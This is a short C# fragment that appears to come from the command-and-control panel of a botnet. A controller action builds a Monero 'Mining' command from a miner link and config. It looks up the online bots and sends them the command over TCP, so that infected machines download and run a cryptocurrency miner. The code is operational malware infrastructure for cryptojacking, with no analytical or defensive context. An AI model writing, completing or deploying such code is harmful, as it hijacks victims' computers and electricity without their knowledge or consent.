public async Task <IActionResult> ConfigMonero(MiningModel model) { var method = new BaseCommands { Method = "Mining" }; var Variables = new MinerVariables { Link = model.Link, Config = model.Config }; var Command = new MiningCommand { newMinerVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = false//execute online bots }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public Task <Unit> Create(MiningCommand mining, CancellationToken cancellationToken) { return(_mediator.Send(mining, cancellationToken)); }